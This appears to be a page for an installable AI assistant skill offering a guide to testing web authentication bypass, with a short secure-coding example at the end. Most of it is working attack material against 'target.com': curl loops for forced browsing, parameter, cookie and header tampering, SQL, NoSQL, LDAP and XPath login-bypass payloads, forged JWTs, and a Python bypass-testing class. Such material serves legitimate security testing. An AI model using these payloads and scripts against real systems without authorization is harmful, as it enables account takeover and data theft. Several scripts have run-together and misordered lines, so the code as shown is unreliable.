Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Authentication bypass testing examines whether an application's authentication controls can be circumvented. Attackers may exploit logic flaws, misconfigurations, or vulnerabilities to access protected resources without proper authentication. This test identifies weaknesses that allow unauthorized access by bypassing the normal authentication process.
What to Check
Bypass Techniques
Direct page access
Parameter manipulation
Session prediction
SQL injection in auth
Forced browsing
Authentication logic flaws
Response manipulation
Common Vulnerabilities
Vulnerability
Description
Forced browsing
Direct URL access to protected pages
Parameter tampering
Modifying auth parameters
Cookie manipulation
Changing session/auth cookies
SQL injection
Auth bypass via SQLi
JWT manipulation
Token tampering
How to Test
Step 1: Test Direct Page Access
#!/bin/bash# Test accessing protected pages without authentication
protected_pages=(
"/admin""/dashboard""/user/profile""/api/users""/settings""/internal""/management""/admin/users"
)
for page in"";
response=$(curl -s -o /dev/null -w )
[ == ];
${protected_pages[@]}
do
"%{http_code}"
"https://target.com$page"
echo
"$page: $response"
# Should be 401 or 403, not 200
if
"$response"
"200"
then
echo
" [VULN] Page accessible without authentication!"
fi
done
Step 2: Test Authentication Parameter Manipulation
# Test manipulating authentication-related parameters# Test with isLoggedIn parameter
curl -s "https://target.com/dashboard?isLoggedIn=true"
curl -s "https://target.com/dashboard?authenticated=1"
curl -s "https://target.com/dashboard?auth=true"# Test with user parameter
curl -s "https://target.com/dashboard?user=admin"
curl -s "https://target.com/dashboard?userId=1"
curl -s "https://target.com/dashboard?role=admin"# Test with header manipulation
curl -s "https://target.com/admin" \
-H "X-User: admin"
curl -s "https://target.com/admin" \
-H "X-Authenticated: true"
curl -s "https://target.com/admin" \
-H "X-Forwarded-User: admin"
Step 3: Test Cookie Manipulation
# Test manipulating session/auth cookies# Test with fake session cookie
curl -s "https://target.com/dashboard" \
-H "Cookie: session=admin"
curl -s "https://target.com/dashboard" \
-H "Cookie: auth=true; user=admin"
curl -s "https://target.com/dashboard" \
-H "Cookie: isLoggedIn=1; role=administrator"# Test with base64 encoded values
admin_b64=$(echo -n "admin" | base64)
curl -s "https://target.com/dashboard" \
-H "Cookie: user=$admin_b64"
Step 4: Test SQL Injection in Authentication
# Test SQL injection in login form# Basic SQLi payloads
payloads=(
"admin'--""admin' OR '1'='1""admin' OR '1'='1'--""admin' OR '1'='1'/*""' OR 1=1--""' OR 1=1#""admin')--""' OR ''='"
)
for payload in"${payloads[@]}"; do
response=$(curl -s -X POST "https://target.com/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$payload\",\"password\":\"anything\"}")
# Check for successful login indicatorsifecho"$response" | grep -qi "success\|token\|dashboard"; thenecho"[VULN] SQLi bypass with: $payload"fidone
Step 5: Test JWT Manipulation
# If application uses JWT# Get a valid JWT
valid_jwt="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature"# Test with 'none' algorithm# Header: {"alg":"none","typ":"JWT"}
none_jwt="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ."
curl -s "https://target.com/api/protected" \
-H "Authorization: Bearer $none_jwt"# Test with modified payload# Change user claim from "test" to "admin"
modified_jwt="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.invalid_signature"
curl -s "https://target.com/api/protected" \
-H "Authorization: Bearer $modified_jwt"# Test without signature
no_sig_jwt="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ."
curl -s "https://target.com/api/protected" \
-H "Authorization: Bearer $no_sig_jwt"
Step 6: Test Response Manipulation
# Test if client-side checks can be bypassed# Intercept a failed login response and check behavior# Using Burp Suite or similar proxy:# 1. Attempt login with wrong credentials# 2. Intercept response# 3. Change response from 401 to 200# 4. Modify body to include success indicators# 5. Check if application grants access# This is typically done via proxy, but we can test client behavior:
curl -s "https://target.com/login" \
-X POST \
-d "username=admin&password=wrong" \
-v 2>&1 | grep -i "location\|set-cookie\|redirect"
Step 7: Test Alternative Authentication Methods
# Test if other authentication methods can be bypassed# OAuth state parameter
curl -s "https://target.com/oauth/callback?code=test&state=anything"# SAML response manipulation
curl -s "https://target.com/saml/acs" \
-X POST \
-d "SAMLResponse=base64_encoded_forged_response"# API key in different locations
curl -s "https://target.com/api/protected" \
-H "Authorization: ApiKey test"
curl -s "https://target.com/api/protected?api_key=test"
curl -s "https://target.com/api/protected" \
-H "X-API-Key: test"
Tools
Authentication Testing
Tool
Description
Usage
Burp Suite
Request manipulation
Intercept and modify
SQLMap
SQL injection
Auth bypass testing
jwt_tool
JWT testing
Token manipulation
Automation
Tool
Description
OWASP ZAP
Automated scanning
Nuclei
Template-based testing
Example Commands/Payloads
Authentication Bypass Payloads
# SQL Injection
admin'--
' OR 1=1--
' OR '1'='1
admin' OR '1'='1'--
') OR ('1'='1'--
admin'/*
" OR ""="
" OR 1=1--
# NoSQL Injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
# LDAP Injection
*
admin)(|(password=*))
*)(uid=*))(|(uid=*
# XPath Injection
' or '1'='1
' or ''='
x' or name()='username' or 'x'='y
Authentication Bypass Tester
#!/usr/bin/env python3import requests
import json
import base64
classAuthBypassTester:
def__init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.results = []
deftest_direct_access(self, protected_urls):
"""Test direct access to protected resources"""print("[*] Testing direct page access...")
for url in protected_urls:
response = self.session.get(f"{self.base_url}{url}")
if response.status_code == 200:
self.results.append({
"test": "Direct Access",
"url": url,
"status": "VULNERABLE",
"details": f"Status code: {response.status_code}"
})
else:
self.results.append({
"test": "Direct Access",
"url": url,
"status": "Protected",
"details": f"Status code: {response.status_code}"
})
deftest_sql_injection(self, login_url, username_field="username", password_field="password"):
"""Test SQL injection in login"""print("[*] Testing SQL injection bypass...")
sqli_payloads = [
("admin'--", "anything"),
("' OR '1'='1'--", "anything"),
("admin' OR '1'='1", "anything"),
("' OR 1=1--", "anything"),
("admin'/*", "anything"),
("' OR ''='", "' OR ''='"),
]
for username, password in sqli_payloads:
response = self.session.post(
f"{self.base_url}{login_url}",
data={username_field: username, password_field: password}
)
# Check for success indicatorsif response.status_code == 200andany(
x in response.text.lower()
for x in ["dashboard", "welcome", "logout", "success"]
):
self.results.append({
"test": "SQL Injection",
"payload": f"{username}:{password}",
"status": "VULNERABLE"
})
returndeftest_parameter_manipulation(self, protected_url):
"""Test authentication parameter manipulation"""print("[*] Testing parameter manipulation...")
bypass_params = [
{"isLoggedIn": "true"},
{"authenticated": "1"},
{"auth": "true"},
{"user": "admin"},
{"role": "admin"},
{"admin": "true"},
]
bypass_headers = [
{"X-User": "admin"},
{"X-Authenticated": "true"},
{"X-Auth-User": "admin"},
{"X-Forwarded-User": "admin"},
]
for params in bypass_params:
response = self.session.get(
f"{self.base_url}{protected_url}",
params=params
)
if response.status_code == 200:
self.results.append({
"test": "Parameter Manipulation",
"params": params,
"status": "POTENTIALLY VULNERABLE"
})
for headers in bypass_headers:
response = self.session.get(
f"{self.base_url}{protected_url}",
headers=headers
)
if response.status_code == 200:
self.results.append({
"test": "Header Manipulation",
"headers": headers,
"status": "POTENTIALLY VULNERABLE"
})
deftest_jwt_bypass(self, protected_url, valid_jwt=None):
"""Test JWT authentication bypass"""print("[*] Testing JWT bypass...")
# None algorithm
none_header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).decode().rstrip('=')
admin_payload = base64.urlsafe_b64encode(
json.dumps({"user": "admin", "role": "admin"}).encode()
).decode().rstrip('=')
none_jwt = f"{none_header}.{admin_payload}."
response = self.session.get(
f"{self.base_url}{protected_url}",
headers={"Authorization": f"Bearer {none_jwt}"}
)
if response.status_code == 200:
self.results.append({
"test": "JWT None Algorithm",
"status": "VULNERABLE"
})
defgenerate_report(self):
"""Generate test report"""print("\n" + "=" * 50)
print("AUTHENTICATION BYPASS TEST REPORT")
print("=" * 50 + "\n")
vulnerable = [r for r inself.results if"VULNERABLE"in r.get("status", "")]
print(f"Total tests: {len(self.results)}")
print(f"Potential vulnerabilities: {len(vulnerable)}\n")
if vulnerable:
print("VULNERABILITIES FOUND:")
for v in vulnerable:
print(f"\n Test: {v['test']}")
for key, value in v.items():
if key != "test":
print(f" {key}: {value}")
# Usage
tester = AuthBypassTester("https://target.com")
tester.test_direct_access(["/admin", "/dashboard", "/api/users"])
tester.test_sql_injection("/login")
tester.test_parameter_manipulation("/dashboard")
tester.test_jwt_bypass("/api/protected")
tester.generate_report()
from sqlalchemy import text
defauthenticate(username, password):
"""Secure authentication with parameterized queries"""# Never use string concatenation# BAD: f"SELECT * FROM users WHERE username='{username}'"# GOOD: Use parameterized queries
user = User.query.filter_by(username=username).first()
if user and user.check_password(password):
return user
returnNone